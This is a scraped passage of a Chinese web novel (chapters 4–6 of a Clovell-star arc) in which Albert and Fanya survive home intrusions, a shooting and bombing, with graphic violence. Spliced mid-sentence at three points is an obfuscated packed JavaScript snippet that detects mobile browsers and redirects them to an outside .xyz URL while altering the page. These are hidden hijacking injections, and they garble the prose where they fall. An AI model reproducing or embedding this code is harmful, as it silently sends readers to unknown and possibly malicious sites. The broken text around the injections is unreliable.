凡亚很快处理好了地板清洁,将用过的纸巾装到黑色垃圾袋里,丢到了邻居家的门口,显然这也包含在了五百块的服务中。 凡亚洗了个手,顺便端出来一杯水递给阿尔贝。 “谢谢。”阿尔贝刚刚遭受不小惊吓,喉咙正有些发干。 他喝了几口,发现水竟然还是温热的。能源停止供应后凡亚怎么烧得水?他明明记得凡亚回来时两手空空,并没有带回来任何燃料。 阿尔贝不禁问:“我怎么没印象你刚有带燃料回来?” 凡亚说:“雄虫阁下,我看见有黄色的脂肪从那两个雌虫的伤口处涌出来,一般来说,雌虫体内的油脂也是一种可燃物……” “呕!咳咳咳……”凡亚的话还没说完,阿尔贝就止不住反胃恶心的感觉,被自己嗓子里的口水呛住,开始剧烈咳嗽。 4. 相遇克洛维尔星(四) 凡亚眼疾手快地将阿尔贝手中没拿稳的水杯端住,又伸手帮他拍了拍背部,状似神色关切:“雄虫阁下,您还好吗?” 阿尔贝咳嗽得脸都发红,咳了一会儿才恢复过来。 凡亚将手中的水杯端到阿尔贝嘴边:“来,喝点水缓缓。” 阿尔贝瞟了一眼杯子里干净的温水,总感觉鼻尖能闻到脂肪燃烧的臭味。他默默用手指将水杯推开,幽幽地盯着凡亚。 凡亚继续说:“从体内直接取出的油脂处于湿润状态且有杂质,会阻碍油脂燃烧,导致油脂的燃点较高。我手中并没有高温点火器,所以刚刚烧水用的燃料是家里的备用燃料,您可能不清楚,老旧小区的能源平时也常常断供维修。” 阿尔贝敏锐察觉,凡亚说这些时,眼中似乎有笑意一闪而过。虽然凡亚刚刚并没有表明水是用尸体油脂烧的,一切看似只是他自己脑补过度,但他直觉凡亚是故意暗示他去这么想。呵,怎么会有这么恶劣的雌虫,开这种恶心玩笑? 阿尔贝再看凡亚一本正经的恭敬表情,顿时觉得不是那么个意思了。和在摊位闹事时表现出的恶劣不同,凡亚刚刚干的事不是那种让他生厌的恶劣行径,但又让他无法认同这是什么正常行为。他从来没有见过有雌虫在雄虫面前这样,不过,这样反而让凡亚多了几分真实感和鲜活气。 “那您要再喝点水吗?”凡亚问。 “不用了,谢谢。”即使这杯水不是用尸体油脂烧热的,阿尔贝现在看这杯水也总感觉怪怪的。 “好的。”凡亚见阿尔贝不喝了,直接端起杯子咕咚咕咚把剩下的大半杯水喝完了。 阿尔贝目瞪口呆,可以看出凡亚很口渴。但是……这是他刚刚用过的杯子啊! 喝完水,凡亚翻找出药箱给阿尔贝上药。 这个房子破旧,但药箱里治疗外伤的药却出乎意料得好。阿尔贝虽然几乎没怎么受过伤,但是也认得这些药品全都是顶级医药公司生产的。 寒酸的打扮,却有把好枪。老破的房子,却备了昂贵药品。如果凡亚没问题,难道还要让他夸凡亚把钱花在了刀刃上吗? 阿尔贝低头,认真观察正半蹲着帮他上药的凡亚。 凡亚的指尖温热,但有些粗糙,动作倒是很轻柔细心,让阿尔贝想到了从小照顾他的迈德雌叔,也是这样耐心细致地帮他处理伤口。 阿尔贝紧绷的肩膀不由放松了下来,一整天的惊险迭出让他的神经就像张拉满的弓,绷紧的弦即将崩溃,汹涌而来的疲惫让他的大脑想抗议罢工。 “你等会儿还要出去吗?”阿尔贝问。他记得凡亚说要出去找燃料和食物,但是刚刚并没有带回来任何东西。 凡亚给阿尔贝涂好药,将药膏放回药箱,边说:“今天先不出去了,家里还有吃的东西。” 既然家里还有食物和燃料,凡亚之前为何还要冒着城市轰炸的危险出去找?想到凡亚在出乎意料的时间内赶了回来,阿尔贝有了猜测:“你是知道会有虫趁你不在家闯进来,所以才故意出去的?” 凡亚没有反驳:“这里治安不好,今天您跟我回来虽然只在楼道里碰到一个虫,但在门后其实还有不少虫在盯着。” 凡亚蹲在阿尔贝身边,仰头望着他:“很抱歉,雄虫阁下,我有必须要出去做的事情,之后不可能时刻守护在您的身边。今天杀掉那两个闯入的雌虫也是对其他虫的威慑和警告。我想提前清除隐患,就不得不这样做。” 阿尔贝盯着凡亚没有马上说话,诚然社会要求雌虫保护雄虫,但实际上凡亚并没有保护他的义务。 “你还有枪吗?”阿尔贝问。 “……有。”凡亚明白阿尔贝的意思,迟疑了一下,还是从房子隐秘处取出一把枪和一些子弹,把具体的用法教给阿尔贝。这里没有练枪的地方,凡亚只能提醒他:“雄虫阁下,这把枪威力不小,但是后座力同样不小,可能会伤到您自己。” 阿尔贝端起这把保养得很好的枪细细把玩了一番。尽管凡亚说这把枪的后座力可能会伤到他,但总比会卡在肉里的水果刀要好多了。 不得不说,这把枪给足了他安全感,也让他对凡亚的戒心降低了不少。无论凡亚同意给他枪是出于怎样的考虑,都应该知道拿着枪的雄虫已经有了对抗雌虫的资本。如果凡亚对他有不好的企图,完全可以找借口不给他枪。 阿尔贝毫不客气地把枪插在腰间,随身携带。 晚饭的时候,凡亚端出来两管营养液:“抱歉阁下,我在大学的烹饪课即使补考也只是勉强通过,比起我做的饭,我想您应该会更乐意喝营养液。” 这句话不知道是真的还是凡亚为了不做饭而找的借口,不过外边都战乱了,这种时候阿尔贝并不在意吃什么,有营养液已经不错了。 不过,“你上过大学?” 阿尔贝挑眉,尽管如今知识的获取比过去便利很多,但并不是每一个雌虫都能申请到大学,而且上大学的费用也并不便宜。除非有奖学金,否则上大学对普通家庭而言,并不是可以轻松负担得起的。 凡亚:“……是。这已经是过去的事,还请您不要再提。” 阿尔贝看了看凡亚,没有再多说什么。万一探究出什么不该知道的秘密,让凡亚起了灭口的心思就不好了。 到了睡觉的时候,洗澡是不可能的。没有能源供应,虽然水没有停,但就雄虫的身体素质,也不可能用冷水洗澡。只有凡亚快速在浴室冲了个冷水澡,然后一身水汽出来给阿尔贝换了套干净的床单被罩。 “我就睡在外边的沙发上,您有事可以喊我。”凡亚帮关了灯,又合紧了门。 阿尔贝侧躺在床上对着门,放在被子底下的手握住枪,闭上了眼睛,疲惫感很快就让他进入了深度睡眠。 在梦里,阿尔贝梦见了紫娑花盛开的繁花市集…… “嘭”! 梦里一个炸弹把阿尔贝炸醒了,他猛地坐起身,心脏怦怦直跳。 但这并不止是梦里的声音,很快又有接连不断的爆炸声在远处响起。不知道是哪方势力的战机轰鸣着在房顶飞过,黑夜中的未知战局让阿尔贝的神经又紧绷了起来。虽然听声音打起来的地方离这还有一定距离,但很难保不会有流弹殃及这里。 过了大概半个多小时,外面的动静渐渐小了,阿尔贝不由松了口气。 他闭上眼,但耳边总感觉能听到细细碎碎的声音,像有恶徒在房顶走动,像有恶徒在建筑上攀爬。 阿尔贝的心提了起来,他记得这间老旧房子的窗户上没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723231|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安装任何防入侵装置。 白天那两个雌虫偷摸闯入的情景浮现在眼前,阿尔贝又睁开了眼。 根本睡不着! 他起身刚推开卧室门,躺在沙发上的凡亚就立刻睁开眼弹坐起来:“您有什么需要吗?” 阿尔贝沉默片刻,心慌睡不着的话实在难以启齿。 “怎么了?”凡亚追问。 阿尔贝说:“你介意睡在卧室的地上吗?” 凡亚:“……您请稍等。” 凡亚直接把沙发抗进卧室,横着摆在了床尾。 这间卧室和这套房子一样,都不大。床尾到过道的空间勉强塞下一张窄沙发,但几乎是和床挤在了一块。如果正常睡,那么阿尔贝的脚将对着凡亚的头。 阿尔贝站在床前没动,他今天出了不少冷汗,睡前又没有洗澡,他现在根本不清楚自己的脚到底有没有臭味,也不可能当着凡亚的面闻自己的脚去确认。 凡亚已经躺回沙发上了,催促他:“雄虫阁下,您可以继续睡觉了。” 阿尔贝默默上床,把枕头和被子调了个方向才躺下。 凡亚愣住,迟疑问道:“您……为什么要头睡到床尾?” 阿尔贝自然不可能告诉他实情:“……不要说话,睡觉。” 可能因为有凡亚这个实力不错的临时“保镖”睡在旁边,阿尔贝这回安心了。 凡亚平稳的呼吸声有节奏地环绕在耳边,像是一首催眠曲,阿尔贝很快就睡着了。这回,他没有做任何梦,一觉睡到了天亮。 第二天,凡亚在阿尔贝起来吃完早上份的营养液后就出门了。 阿尔贝尝试联系迈德,但光脑依旧没有信号。看来,在政府从战争中腾出手恢复民用信号前,他都无法和迈德取得联系了,也不知道迈德雌叔的现状怎么样,是否心急地到处找他? 阿尔贝本以为在昨天那两个闯入的雌虫被打死后,今天会是平静的一天,但没想到在凡亚出门不久后,他就又听到外边走廊上的脚步声。 这回不是偷偷摸摸的,就像是邻居正常出入的动静,但阿尔贝莫名心跳得厉害,潜意识里的危机感催促着他掏出了枪。 “噔噔噔”门被外面的虫敲响。 阿尔贝没有出声,而是悄悄走到门后从猫眼上朝外看去,却发现看不到外面的情形,而是看到了一个奇怪的东西,看着好像棕色的瞳孔…… 哗!阿尔贝浑身一个激灵,差点惊得喊了出来。 外边有另一只眼睛同样贴在猫眼上在试图窥探屋内的情况! 两只眼睛相对,虽然从外边看不清里边,但却能感觉到光亮的变化,门外的虫显然也发现了里边的虫在透过猫眼看外边! 门外的虫发出轻轻的一声嗤笑,向后挪开了眼睛,只是视线一直紧紧盯着猫眼。阿尔贝这才看到他的样子。 是昨天楼道里遇到的那个雌虫! “雄虫阁下,我知道您在里边,请好心的您帮我开下门让我快点进去。”门外传来雌虫含笑的声音,每句话都裹着黏腻的恶意,像暗处的蛆虫在腐肉中扭动翻滚。 阿尔贝仍旧没有出声,默默退回到沙发边,坐在地上,后背紧靠住沙发,迅速把枪上膛,双手死死控住枪,将枪口对准门口。 5. 相遇克洛维尔星(五) 这个雌虫,昨天阿尔贝以为他会来却没来,今天以为没虫会来他却又来了。依旧带着厚到浓稠的恶意,像黑水中冒出的恶鬼一样出现在门外。 阿尔贝头皮发麻,体内的危险雷达在疯狂示警。他的心跳速度狂飙,密集的冷汗爬上脊背,肌肉无意识地抽搐,根本不是深呼吸能放松得下来的。 “噔噔噔”门又被敲响。 门外的雌虫正在失去耐心,温声警告:“雄虫阁下,既然您不愿意给我开门,那么我就只好自己进去了。” 阿尔贝没说话,眼睛紧盯着门口不敢眨动,全身神经都紧绷了起来,紧张到仿佛缺氧,呼吸声伴随着心跳都开始变得粗重。 “啧。”这一声似乎预示着雌虫的耐心耗尽。 “哐”! 一声巨响,门被踹开了! 在门被踹开的刹那,阿尔贝和门口的雌虫对视上双眼,看清了那双眼睛中的轻慢和势在必得。 “砰”! 阿尔贝没有犹豫,立刻扣动扳机,枪身猛地后坐,震得他半条胳膊发麻,还好有沙发做支撑和缓冲,不至于让枪口偏离。一颗子弹撕裂空气发出尖啸,冲着门口的雌虫身上射去! “砰”!“砰”!“砰”!又是接连几声枪响。 阿尔贝根本不等去看第一枪是否打中雌虫,在子弹出膛后他就立刻又扣动扳机。他没法赌自己第一次用枪就能精准打中目标的要害部位,也没法赌雌虫在被打中一枪后就能丧失行动力,只能竭尽所能在雌虫还没反应过来前尽可能多射出子弹。 几枪过后,门口的雌虫浑身炸开血洞,瞪大双眼,眼中仍凝固着惊愕之色,手还保持着摸向腰后的姿势,就直直向后倒去。 “砰”!和枪声不同,这回是身体和地板碰撞发出的低沉闷响。 “呼!”阿尔贝大口喘气,嗓子发干想呕。他胳膊上的肌肉全都在颤抖,腿也像跑了好久一样酸软。 但他还是立刻站了起来,双手举着枪对准倒地的雌虫,小心靠近。 地上的雌虫浑身血迹,血液缓缓从他身下流淌而出。他瞪大的眼睛仍旧睁着,只是已经失去了光彩。 阿尔贝将枪口抵住雌虫头上的太阳穴。 “砰”!又是一声枪响,雌虫半边脑袋被炸烂。没有沙发在背后作为依靠和缓冲,阿尔贝也被枪的后座力带倒在地。 接连承受巨大的后座力,阿尔贝的手已经抖得快要拿不住枪,但此刻他的心中却感到无比轻松自在。 地上的雌虫死得不能再死,不能再对他产生任何威胁!没有别的虫的保护,他捍卫了自己的安全! 自己掌控命运的感觉是如此之好!好到他的心仿佛都在放飞! 阿尔贝嘴角牵起一抹笑,眼中却酸涩得想哭。缓了缓,他才从地上爬起来,拖着雌虫的腿将尸体拖进房内,然后关上了门。 他有想过学昨天凡亚那样出钱让邻居接活,把尸体拖走。但他怕他去敲门,敲出来的不是清道夫,而是一连串的绑架犯。可也不能让尸体就那么堵在门口连门都关不上,想了想也只能先把尸体拖进来,顺便还可以用来堵在门后。这样再有虫来踹门,门应该就不会那么轻易被踹开了。 等凡亚回来的时候,门外的血迹已经凝固发黑。 阿尔贝听到门外有动静,心里不由又紧绷了起来。他拿着枪靠近门口,透过猫眼才发现是凡亚皱着眉站在门口。他松了口气,打开门:“你回来了怎么不进来?” 凡亚看到完好的阿尔贝愣了一下,拿着枪的手随即放了下来。他的目光在阿尔贝身上扫了一圈,没有发现明显伤口,神色才缓和了下来:“您没事吧?” “我没事。”阿尔贝弯了弯嘴角,有事的是倒在地上已经死了的恶徒。 凡亚一进来就看见被推开的尸体,保持着九十度弯腰姿势僵硬倒在一边,标准得可以当直角尺了。 阿尔贝解释:“今天他把门踹开了,我担心再有虫来踹门,就让他的尸体靠在门后堵着门。” 凡亚沉默了,他没想到他给阿尔贝的枪这么快就派上了用场,也没想到在昨天死了两个雌虫后居然还有虫敢闯进来,更没想到阿尔贝是真的敢开枪。 “您……害怕吗?在开枪后……”凡亚欲言又止。 他清楚并不是每一个虫都能突破心里的防线,果断对准活生生的虫扣下扳机。无论枪下的虫是善与恶,生命在自己手中流逝终结都有可能生出愧疚的羁绊,挑动心底最深处的不安惶恐。 阿尔贝想了想回答:“开枪前会,但现在不会了。”他指向地上僵直的尸体,“活着的虫总是比死透了的可怕。” 凡亚蹲下身查看,确实死透了。尸体被打了好几个血洞,有的在身体的要害上,有的则只打中了四肢。尸体的头有点烂,他掀开尸体脸上被血粘住的纸巾,正好和被炸剩下的眼珠子对上……有点难辨认原本的样貌。 阿尔贝补充信息:“是昨天上楼时遇到的那个雌虫。” “是他?!”凡亚皱眉。他叹了口气,伸手在尸体上摸了一遍,果然摸出来一把手枪,“您今天真是好险。” 如果死去的这个雌虫不是轻视雄虫,没有料到阿尔贝有枪且还敢开枪,恐怕地上的血就不一定是谁的了。 阿尔贝也是一惊,心头不禁涌上后怕。难怪那个雌虫敢在凡亚的警告下用满是恶意的目光肆无忌惮地继续窥伺他,难怪那个雌虫在昨天死了两个雌虫后也依旧敢上门…… 凡亚抿着嘴看向阿尔贝,愧疚在他眼底不断翻涌:“抱歉,我不应该让您一个虫待在家里。” 阿尔贝低头看着地上满身血洞死不瞑目的雌虫尸体,摇了摇头:“不,是我要感谢你给了我那把枪。” 尽管他的手臂被枪的后座力震得现在还在酸痛,尽管他被面目全非的尸体恶心到想要发呕,但这种能掌控自己安危的感觉确实好极了。 这具不太新鲜的尸体依旧是在凡亚花了五百块后被邻居拖走了,只不过弯折的形状不太方便运输,凡亚的邻居又多花费了些功夫折断尸体的腰部,才把尸体塞进麻袋里装好拖走。 对短短两天内就给他创造了两次就业机会的凡亚,他显然极有好感,热切表示:“如果再有活请一定找我,下次给您打九五折。” 阿尔贝在卧室里听着外边凡亚和邻居的对话,只觉得他的世界短短几天已经扭曲魔幻到面目全非。 不过邻居想要凡亚再照顾他生意的期盼怕是很难再实现了,因为凡亚从门外进来就告诉阿尔贝:“雄虫阁下,您的身份传开,对这里的虫诱惑力太大,远超我的预估,这里恐怕不能再待了。我刚刚已经联系好一处新住所,我们等会儿就出发。” 他顿了顿,盯着阿尔贝的脖子:“为了安全,委屈您先将雄虫虫纹遮住。” 他手中捏着一根短管递过来,管身黑色的金属外壳如匕首般泛着冷光,上面整齐打印着数排白色密集的小字。他的声音低沉:“只要您将它均匀涂抹在虫纹处即可。” 室内开着的应急灯发着冷白的光,照亮了凡亚的侧脸,也在他的另一半脸上投下阴影。他面无表情,眼睛微垂,长长的睫毛遮掩住他眼中的神色。 阿尔贝见状也不由严肃起来,猜测这会是怎样神秘的易容药剂。他接过短管对准应急灯,神秘白色的字体在灯光下变得清晰可读。 他逐字读出最明显的那排稍大的字:“……超、强、覆、盖?遮、瑕、液?” 阿尔贝沉默一秒。 阿尔贝和凡亚严肃正经的脸对上,目光不由凝在凡亚的脖子上,下意识发问:“雄虫可以有骨翅吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723232|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”凡亚愣了一下,一下子有些跟不上阿尔贝跳跃的思维,“我……雄虫阁下,我没有化妆。” 阿尔贝看了看手中的遮瑕液,又盯着凡亚的脸:“你会化妆吗?” 凡亚:“……会。”他微微侧开脸:“涂遮瑕液不需要会化妆,您把遮瑕液多涂几层就可以了。” 阿尔贝对着洗手池上的镜子往自己脖子上叠了好几层遮瑕液。虫纹是遮住了,就是颜色有点发白。 阿尔贝这才反应过来,凡亚的肤色要比他还白一些,在阳光下如同珍珠般莹润透亮。只是他从遇见凡亚起,就将凡亚的形象固定在一个刻板印象组成的框内,而忽视了凡亚本身的样貌。 等他出来,凡亚检查了一遍他脖子上的痕迹,就带着他趁着夜色出发。 夜晚的中心城和白天一样,并不平静。 城内的能源供应还没有恢复,路边的灯都是关着的。街巷里的血腥味比昨天更浓,混合着垃圾的臭味。没有虫出来工作,自然也没有虫出来收垃圾。 街上没有什么虫,偶尔遇到的虫也是行色匆匆,相互间戒备地隔了老远。虽然天上现在没有在轰炸,但是阿尔贝却时不时能听见枪响。 阿尔贝压低嗓音问凡亚:“入侵者已经打进来了吗?” 在没有光脑信号看不了新闻播报后,阿尔贝对外面的局势两眼一抹黑,只能听到激烈的交战响动,却根本不知道谁胜谁负,也不知道战争进行到何种地步,甚至连入侵者是谁都还没弄清楚。 凡亚摇了摇头:“不全是。主要的战舰被政府军拦在了外边,但难免会有漏网之鱼进来。局势一乱,本地的帮派势力也趁机冒头。还有那些本就潜伏在这的间谍和非法组织成员,都可能借机生事。” 阿尔贝想问,那你是属于哪股势力。但话到了嘴边他又咽了回去,转而问:“那你知道入侵进来的是哪股势力吗?” 凡亚语气肯定地回答:“是外族。” “外族?”阿尔贝还以为会是星盗或是反政府势力之类的,“可是外族占领一颗旅游星有什么用?” 凡亚说:“入侵的战机不是虫族惯用的制式,而且前些日子外族安插在克洛维尔星上的势力几乎全军覆没,如果他们也想要……”凡亚顿住。 “想要什么?报仇?”阿尔贝问。 凡亚却不接着往下说了:“雄虫阁下,咱们还是先快点走吧,外面不安全。” 果然,刚走到条偏僻的巷子里,他们就被突然冒出的几个高大雌虫堵住打劫。 凡亚没犹豫,抬手就开枪。 然而这只是个开端,他们又接连路过了帮派互斗、分赃不均内斗、违禁品交易……治安之混乱,让阿尔贝瞠目结舌。还好这些虫对偶尔路过的普通虫并不在意,才让凡亚带着阿尔贝有惊无险地快速通过。 突然,凡亚捂住阿尔贝的嘴,把他扯到角落垃圾堆旁的废纸壳后蹲下。看着凡亚让他噤声的动作,阿尔贝点了点头,凡亚这才放开他,警惕地盯着前方。 阿尔贝顺着凡亚的视线看去,发现是一伙行踪诡异的虫聚在巷子前方。 说他们行踪诡异,是因为他们都穿着相同的深色紧身战斗服,携带的武器即使是阿尔贝丝毫不懂也能看出其精良,举止间纪律严明,时刻警戒着周围的动静,而且周身有种说不出的别扭和怪异,气质和阿尔贝往常在视频里见过的武装势力十分不同。 ‘他们是谁?’阿尔贝用口型无声询问。 凡亚用手指隔空划拉,阿尔贝勉强辨认出他写了什么。 外族?! 阿尔贝脸上难掩惊讶。他点开光脑中的离线地图,这里是靠近繁花市集的街巷,周围并没有什么战略要地。 那这伙装备精良且训练有素的外族秘密潜入这里要做什么? 6. 相遇克洛维尔星(六) 还没等那伙外族离开,凡亚又捂住阿尔贝的嘴,指了指后边。阿尔贝扭头一看,巷子另一端来了一伙套着白色罩袍的虫。这种混乱时局的夜晚穿白衣出门,感觉也不是什么正常虫。 阿尔贝无声张嘴问凡亚他们是谁,凡亚摇了摇头表示也不知道。 不过说来,普通虫压根不会选择这种时候出门。但问题是,这伙虫一来,将他和凡亚堵在了巷子中间,进退不得。这伙虫的白衣还明显得和靶子一样,很难不被那伙外族发现。 果然,其中一个外族声音紧绷:“谁在那?!” 但无论是谁,大概率也都是虫族,其他外族二话不说端着枪就朝巷子那头猛烈射击。 凡亚的骨翅将阿尔贝护在身下,避免他被流弹所伤。 阿尔贝透过骨翅合拢处的缝隙朝那伙白衣虫看去,却见他们不慌不忙地站在原地,身前撑起一个透明的蓝色光罩,射来的子弹陷在光罩中静止不动,尽数被挡了下来。 阿尔贝不知道这种蓝色光罩的具体名称,他只在新闻上看过类似的,好像是什么能量防护罩之类的武器,没想到这么厉害,就是不知道这伙虫是从哪搞到的。 枪声愈发激烈,外族没有停火的意思,白衣虫们也开始了反击,双方对峙谁也不退让。阿尔贝浑身紧绷蜷缩,耳边子弹的砰砰声不断,使得他的神经时刻处于高度紧张状态,额角的血管也发胀跳动得厉害。 一双手默默捂上了他的耳朵,像给他的耳朵加上了一层罩子。外界的枪声依旧激烈,却被挡在了外边。他抬头看向凡亚,在昏暗的月色下,他只能看见凡亚坚毅的侧脸轮廓,然而他却从这样棱角分明的面容上看出了一丝如月色般的温柔。 阿尔贝也不知道他怎么了,在这样紧张的局势下,他竟然还能走神。他挪开视线,继续看向打得激烈的两伙虫。 然而这时天上又开始了新一轮的轰炸,远处炮火声响起,很快就蔓延到这里。 那伙白衣虫聚在一起太过明显,已经有远控战机朝他们飞了过去,预备投下炸弹。而那伙外族不知道身上是不是带了什么信号装置,所有的战机都绕开了他们。在虫族平民的惨叫声里,他们竟有种在自家后花园的悠闲。 “撤。”白衣虫朝天上看了一眼,在火力威胁下,不得不避走。 天上投掷的炸弹开始落下,有几颗就在离阿尔贝不远处炸响。 凡亚并没有铜筋铁骨可以硬抗炸弹,但却暂时还不能带着阿尔贝从角落里出来逃离这里。虽然白衣虫们正在撤走,但那伙外族依旧盯着巷子里,一旦他们露头,就会被外族瞄准射击。他们没有白衣虫的防护装备,根本抵抗不住外族的火力。现在出去,只会死得更快。他们不得不陷在这里。 阿尔贝的耳中被炮火声炸得嗡鸣,他被凡亚死死压在身下,肩膀被凡亚的双手紧紧扣住,坚实的骨翅笼罩住他的全身。地很硬很凉,也很脏,硌得阿尔贝脊背生疼,他却无暇顾及。周围爆炸声不断,死亡正在逼近,说不准哪颗炸弹下一秒就在他们躲藏的地方炸响! 旁边的垃圾堆已经被引燃,散发出垃圾燃烧的臭味,呛得阿尔贝想咳嗽,却必须得忍住。他的身体没有动,但心中生出前所未有的愤怒和耻辱感!在虫族的地盘,他身为雄虫却只能如地沟老鼠般狼狈躲藏在垃圾后边!而这一切的始作俑者,这些外族,却气定神闲地站在虫族的地盘! 他胸中的怒火翻涌,恨不得拿着武器对着这些外族入侵者扫射。然而现实却又让他倍感无力。别说将这些外族挫骨扬灰,他现在甚至都离不开凡亚的保护! 耳边是接连不断的爆炸声,阿尔贝却什么也看不见,脸被压在凡亚坚实的胸膛下,眼前只有一片漆黑,耳边扑通扑通震动的心跳声说不准是他的还是凡亚的。 “别怕……”凡亚的声音在炮火声中听不真切,只在短暂的爆炸间隙中隐约能听到些许。 阿尔贝没想到,在这样的生死关头,凡亚会毫不犹豫地用身体替他挡住炮火。异样陌生的感觉在炮火声中氤氲滋生,紧紧缠绕住他的心脏,让他的胸口有些发闷。 一秒很短,但此刻却很长。 不知道过去多少个一秒,爆炸声渐渐远去,只在远处的城区还有炮火的轰鸣。巷子里有些诡异的安静,阿尔贝只能听见水滴缓慢的滴答声,如同暴雨后屋檐上坠落的水珠落入地上的水坑里。 他们活了下来,没有被炸死。 这是凡亚第三次救了他。一次在繁花市集的炮火轰炸下,一次在那两个雌虫闯入家中逼近时,再就是现在…… 凡亚没有动,阿尔贝只能听见他加快的心跳声。 “凡亚,你怎么样?还好吗?”阿尔贝轻声问。 “咳……我没事,雄、雄虫阁下。”凡亚从阿尔贝上方翻身挪开,靠坐在小巷的墙边大口喘气。 阿尔贝的手撑在地上想站起来,却沾湿了手。光线昏暗,他只能隐约看到那里有深色的一小滩液体。旁边就是垃圾堆,也不知道是什么时候流淌出的脏水。他嫌恶地甩了甩,从裤兜里掏出纸巾想擦掉,却在搓动手指时感觉到了不对劲的地方。 他把手凑到鼻尖闻了一下,浓烈的血腥味立刻就占据了他的鼻腔。他的心脏不由一颤,猛地回头看向凡亚。 在昏暗的巷子中,阿尔贝看不清凡亚身上的血迹在哪,但双眼依旧死死盯着眼前这个救了他的雌虫,嗓子发干:“你、受伤了……是吗?” 阿尔贝的手指紧紧攥成拳,尽管如此,仍不由自主地抽搐颤抖。他的脑海中嗡鸣声一片,比刚刚爆炸就在身边时还要心慌。 劫后余生的庆幸被汹涌而来的愧疚淹没,虽然许多雌虫总是喊着要为雄虫阁下舍生就死,但真当有雌虫为他做到这一点时,他的内心依旧受到无比强烈的冲击。震撼无比! 凡亚却对此不以为意。他的声音干哑,扶着墙踉跄地从地上起来:“雄虫阁下,您别怕,我这就带您离开这里。” 阿尔贝伸手去扶他,却在触及他腰部的时候摸到一片濡.湿。 阿尔贝小心避开被血浸湿的地方,眉心拧成结:“你的腰受伤了?” “咳咳咳……”凡亚轻笑几声又引起了咳嗽,“没有,腰没事,只是骨翅间的脊背被爆炸的碎片伤到,流了一点血。” 阿尔贝的心脏像被一只大手攥住。这怎么会是一点血?血都流到地上积聚了一滩,又从背上流到腰间打湿了衣服。 他伸手想要去查看,却被凡亚握住手腕:“雄虫阁下,只是小伤,我还挺得住。外面不安全,咱们快走。” 凡亚拍了拍自己的脸,又挺直了腰背,仿佛没有受伤一样。他没让阿尔贝扶,而是又将阿尔贝护住,带着他快速在街巷中穿梭。 轰炸还未完全结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723233|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,街上干着各种不法勾当的虫都暂时找地方躲了起来,这让凡亚和阿尔贝一路顺畅地到达了新住处,没有再起任何波折。 新住处还是在距离繁花市集不远的地方,只是环境比之前要好很多,看起来是个中产社区。 结合在繁花市集附近遇到的外族和那伙白衣虫,阿尔贝已经意识到,繁花市集所在的街区一定有什么吸引着各方势力,而凡亚和他们的目的很有可能是差不多的,都和繁花市集有关。 进了新住所,刚关上门,凡亚就靠着门板滑坐到了地上。 室内的应急灯照亮了凡亚的模样。他的眉头紧拧,眼睑轻阖,长长的睫毛簌簌直颤,齿尖已深深陷进下唇咬出血印,失血的脸苍白,额间细小成珠的冷汗密布。阿尔贝这才惊觉,凡亚一路都在硬撑。 “先别睡,我扶你到床上去。”阿尔贝试图从地上将凡亚拉起来,但成年雌虫的体重远不是他能轻易拉起的,他只觉得用出去的力气如陷泥海,要拉起的虫却纹丝不动。 “唔。”凡亚的眼皮颤动,挣扎了几下才睁开。他的另一只手撑住墙面,借着阿尔贝拉他的力道勉强站起来,却没站不稳,一个晃动就又要倒下。 阿尔贝连忙用身体撑住凡亚,让他靠在自己身上。阿尔贝拉过凡亚的胳膊搭在自己肩上固定住,另一只手搂住凡亚的腰,步履艰难地往卧室走。好在凡亚还有意识,没有完全压在阿尔贝身上,这才让阿尔贝顺利把他挪到了床上。短短几步,阿尔贝就已满头大汗。 凡亚趴在床上,眼睛又要闭上。 阿尔贝连忙推了推他:“这有医药箱吗?” 凡亚无力地伸出胳膊指了个方向,然后胳膊就“啪”地一下垂落下去,眼睛也闭上了。 阿尔贝顺着凡亚指的方向找到医药箱放到床前打开,从里边拿出消毒用具。 之前街巷昏暗,阿尔贝只在凡亚身上闻到了浓重的血腥味和皮肉烧焦味,现在到了灯光下,凡亚背上的伤势才显露在他眼前。 简直触目惊心! 大片焦黑碳化的皮肉翻卷炸开,沾着细碎弹片的焦痂下仍有血液汩汩渗出,混杂着破碎的布片嵌在还没有完全凝固结痂的血肉里……阿尔贝闭了闭眼,不忍细看。 他用消毒过的剪刀将凡亚背部的衣服剪掉,又用镊子小心地将伤口中的碎片取出。一些碎片已经和血肉粘在了一起,稍稍扯动就连带着凝结的伤口一起崩开。他只能用纱布和棉花沾着消毒水把血痂一点点化开,再慢慢夹出里边的碎片。 伤口被消毒水反复冲洗,尽管凡亚已经意识不清陷入昏睡,也依然痛得皱起眉头,喉间溢出难耐的呜咽声。 